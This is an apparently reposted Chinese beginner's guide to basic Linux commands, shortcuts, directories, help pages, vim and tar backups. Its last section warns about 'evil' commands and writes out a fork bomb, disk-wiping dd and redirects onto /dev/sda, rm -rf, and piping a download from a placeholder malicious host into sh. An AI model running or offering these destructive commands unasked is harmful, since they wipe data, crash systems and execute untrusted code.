1. 程式人生 > >Linux基礎命令、快捷鍵、命令操作

Linux基礎命令、快捷鍵、命令操作

linux基礎

Linux基礎操作、快捷鍵、命令

Linux命令的執行過程

命令----shell(命令解釋器)-----內核(kernel);

根據命令是否是shell的一部分,將命令分為內部命令和外部命令;內部是shell的一部分,外部命令是由安裝軟件提供



常用快捷鍵:

ctrl+c-->取消終止命令

ctrl+l-->清楚屏幕

ctrl+a-->光標移動到行首

ctrl+e-->光標移動到行尾

ctrl+f-->向前移動

ctrl+b-->向後移動

alt+.-->引用上一條命令的最後參數

tab-->補齊,一個tab補齊命令或參數,兩個tab顯示字母開頭的所有命令




Linux文件系統

1)文件名稱嚴格區分大小寫

2)文件名稱可使用/以外的任意字符,特殊字符不推薦使用

3 )文件名不可查過255個字符(這個就看就行了,誰心那麽大)

4)以.開頭的文件是隱藏文件,但是有兩個特殊的:

.:表示當前目錄。

..:當前目錄的上一級目錄。

如:/etc/init.d/

.表/etc/init.d/

..表/etc

echo 3 > /proc/sys/vm/drop_caches 清除內存

5)相對路徑:根據當前的目錄做描述

絕對路徑:根據/目錄開始做描述

Linux一切皆文件,所有文件都放在目錄下(/)

文件/目錄對應關系 相對路徑/絕對路徑


常用目錄的對應關系

/boot ##啟動文件存放目錄

/etc ##配置文件存放目錄

/proc ##系統內存狀態目錄,是系統快照

/dev ##存放硬件文件的目錄

/home ##普通用戶的家目錄

/root ##root用戶的家目錄

/var ##動態變化的數據存放目錄,如日誌、數據庫的數據文件

/usr ##用戶文件存放目錄






Linux的幫助命令

lhelp:內部命令幫助(help cd)(ls --help

man:命令手冊(man 命令):詳細介紹命令的使用

man的區域類型: 格式:man 1/5/8 命令/文件

1-->用戶命令

5-->配置文件的格式幫助

8-->管理員管理工具的幫助

基本結構

sections(區域)

name(名字)

synopsis(命令的語法)

description(描述解釋命令)

option(選項)

EXAMPLE(使用的案例,經使用)

author(作者)

seealso(其他相關幫助)



Linux常用的增、刪、改、查

常用目錄的對應關系

/boot ##啟動文件存放目錄

/etc ##配置文件存放目錄

/proc ##系統內存狀態目錄,是系統快照

/dev ##存放硬件文件的目錄

/home ##普通用戶的家目錄

/root ##root用戶的家目錄

/var ##動態變化的數據存放目錄,如日誌、數據庫的數據文件

/usr ##用戶文件存放目錄

查看:cd pwd ls du which find cat more/less head/tail grep wc,


目錄的查看:cd,pwd,ls,du

cd:目錄的管理,切換目錄

( cd /etc/sysconfig ##進入絕對目錄

cd ../../ ##到根目錄

cd - ##回到上一所在目錄

pwd ##驗證

cd ##回家

pwd

useradd u01 ##創建用戶u01

e cho 123123 |passwd --stdin u01 ##給u01修改密碼為123123

cd ~u01 ##進入u01的家目錄

pwd ##驗證為/home/u01)

pwd:查看當前工作目錄

(pwd ##直接查看當前工作目錄即“.=?”

cd /etc/init.d/

pwd ##查看到是鏈接後的目錄

pwd -P ##查看物理路徑/etc/rc.d/init.d)

ls:列出當前目錄下文件

(-lh ##長格式查看當前目錄下的內容

-ld /boot ##查看/boot本身的詳細信息

-R / ##顯示整個系統的所有內容

--help ##查看幫助,推薦使用-lt按時間排序,-lS按大小排序

-a ##顯示隱藏文件如.bash_profile)

du:統計文件或目錄大小

(du -sh / ##統計根目錄總大小

du -sh /* ##統計根目錄的子目錄的總大小

du -sh /etc/redhat-release ##統計單個文件大小)


文件的刪和改:rm、mv、vi/vim

rm:刪除文件或目錄

mv:移動或修改文件名稱,位置

vi/vim:修改創建文件

:% g/^$/d ##刪除空行

:% g/^#/d ##刪除#開始的行

: !ip a ##在vi中執行命令

ctrl+r ##重做,與u撤銷相反



文件的增加:mkdir、touch、ln、cp

mkdir:創建目錄

touch:創建文件

ln:創建文件目錄的超鏈接

cp:復制文件或目錄



tar備份系統:gzip,bzip2,xz,tar

tar -zcvf 文件名稱-日期.tar.gz 備份的目錄或文件 ##調用gzip

tar -jcvf 文件名稱-日期.tar.bzp2 備份的目錄或文件 ##調用bzip2

tar -Jcvf 文件名稱-日期.tar.xz 備份的目錄或文件 ##調用xz

恢復:解壓縮

tar -zxvf 文件名稱-日期.tar.gz -C 釋放的目錄 ##其他格式相同

查看壓縮包中的內容:

tar -ztvf 文件名稱-日期.tar.gz ##不解壓查看,其他格式相同


次文檔皆是一下比較簡單的操作命令,與一些比較簡單的簡介,皆是參考

Linux的操作需要我們長時間的積累,這需要我們付出時間與精力去學習



邪惡的操作命令


rm-rf 命令

:(){:|:&};: 命令 ## fork 炸彈具體操作是通過定義一個名為 ‘:‘的函數,它 會調用自己兩次,一次在前臺另一次運行在後臺。它會反復的執行下去直到系統崩潰。

命令 >/dev/sda

mv 文件夾 /dev/null

wget http://malicious_source -O- | sh #sh會(無條件的)執行下載下來的腳本

> file

dd if=/dev/random of=/dev/sda ##會向塊設備sda寫入隨機的垃圾文件從而擦出數據,你的系統可能陷入混亂和不可恢復的狀態




Linux基礎命令、快捷鍵、命令操作